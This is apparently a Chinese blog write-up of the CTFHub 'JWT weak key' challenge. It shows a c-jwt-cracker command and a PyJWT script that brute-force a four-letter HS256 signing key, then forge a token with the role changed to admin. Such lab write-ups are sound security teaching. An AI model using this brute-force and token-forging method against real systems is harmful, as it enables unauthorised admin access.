ctfhub 技能树 ——JSON Web Token 弱密钥

ctfhub 技能树 ——JSON Web Token 弱密钥

如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag

和 JSON Web Token 无签名一样,我们使用 admin 和 123456 进行登录查看
在这里插入图片描述

发现,和上一关的登录界面相似

我们 使用 Burip suite 进行抓包查看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gkm51apO-1648794117360)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220401134600053.png)]

本关和上一关不同的是 本关不能使用 none算法 换句话说我们需要知道签名的密匙,在关卡一开始就提示我们:JWT采用对称加密算法,并且密钥的强度较弱,可以使用爆破获得密匙

在这里我使用的是 c-jwt-cracker(需要在kali上面运行)

构建docker 映像:

docker build . -t jwtcrack

构建docker 映像报错,

可以尝试重启docker:

systemctl restart  docker

在这里插入图片描述
在这里插入图片描述

之后 Run on Docker

docker run -it --rm  jwtcrack  eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.c2I0PRiJ2fFnZmbK5ynxZzlI1m1pjPMtPsvbbrfveNA

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-34piO31a-1648794117362)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220401135813692.png)]

获得 密匙 eqcv

然后使用JSON Web Tokens - jwt.io(jwt官网)

使用破解的秘钥“eqcv”,进行HS256加密,

记得将 guest 改为 admin

在这里插入图片描述

将我们获得的 base64 编码 复制粘贴 到Burip suite

转到 rpterer 点击 GO

在这里插入图片描述

获取flag!!!

在这里插入图片描述

在本关还可以使用 python 脚本

#!C:\Python3.7
# -*- coding:utf-8 -*-
import jwt
import string
import itertools
 
 
def test_HS256():
    key = "test"
    encoded = jwt.encode({"some":"payload"},key,algorithm="HS256")
    print(encoded)
 
    try:
        # print(jwt.decode(encoded,"test",algorithms="HS256"))
        print(jwt.decode(encoded, "tes", algorithms="HS256"))
    except Exception as e:
        print(e)
        print("error")
        exit()
 
def brute_HS256(encode):
    keys=string.ascii_lowercase
    # print(keys)
    for i in itertools.product(keys,repeat=4):
        key = "".join(i)
        print("[--]test ",key)
        try:
            print("[****]key:",key,jwt.decode(encode,key,algorithms="HS256"))
            break
        except Exception as e:
            pass
        # print(key)
 
 
if __name__ == '__main__':
    # test_HS256()
    encode="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJwYXNzd29yZCIsInJvbGUiOiJndWVzdCJ9.xCCx-8iRz4HybhQ5iz3zHLniJ5koa7iflMALlaos6ic"
    brute_HS256(encode)
    # print(jwt.encode({'username': 'admin', 'password': 'password', 'role': 'admin'},"hqpf",algorithm="HS256"))

PyJWT 使用

同样可以获得 密匙

CTFHub是一个CTF(Capture The Flag)竞赛平台,提供了丰富的技能树来帮助学习者提升Web基础认证的能力。下面是CTFHub技能树中关于Web基础认证的内容: 1. HTTP协议:了解HTTP协议的基本原理和常见的请求方法(GET、POST等),了解HTTP请求和响应的结构。 2. URL编码和解码:学习URL编码和解码的原理和常见的编码方式,如URL编码中的%20代表空格。 3. Cookies:了解Cookies的作用和原理,学习如何使用Cookies进行用户认证和状态管理。 4. Session管理:学习Session的概念和原理,了解如何使用Session进行用户认证和状态管理。 5. 基本认证(Basic Authentication):学习基本认证的原理和流程,了解如何使用用户名和密码进行认证。 6. 表单认证(Form-based Authentication):学习表单认证的原理和流程,了解如何使用表单提交用户名和密码进行认证。 7. Token认证:学习Token认证的原理和流程,了解如何使用Token进行用户认证和状态管理。 8. CSRF攻击与防御:学习CSRF(Cross-Site Request Forgery)攻击的原理和常见的防御措施9. XSS攻击与防御:学习XSS(Cross-Site Scripting)攻击的原理和常见的防御措施10. SQL注入攻击与防御:学习SQL注入攻击的原理和常见的防御措施。 以上是CTFHub技能树中关于Web基础认证的内容,通过学习这些知识,你可以提升自己在Web安全领域的认证技能
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值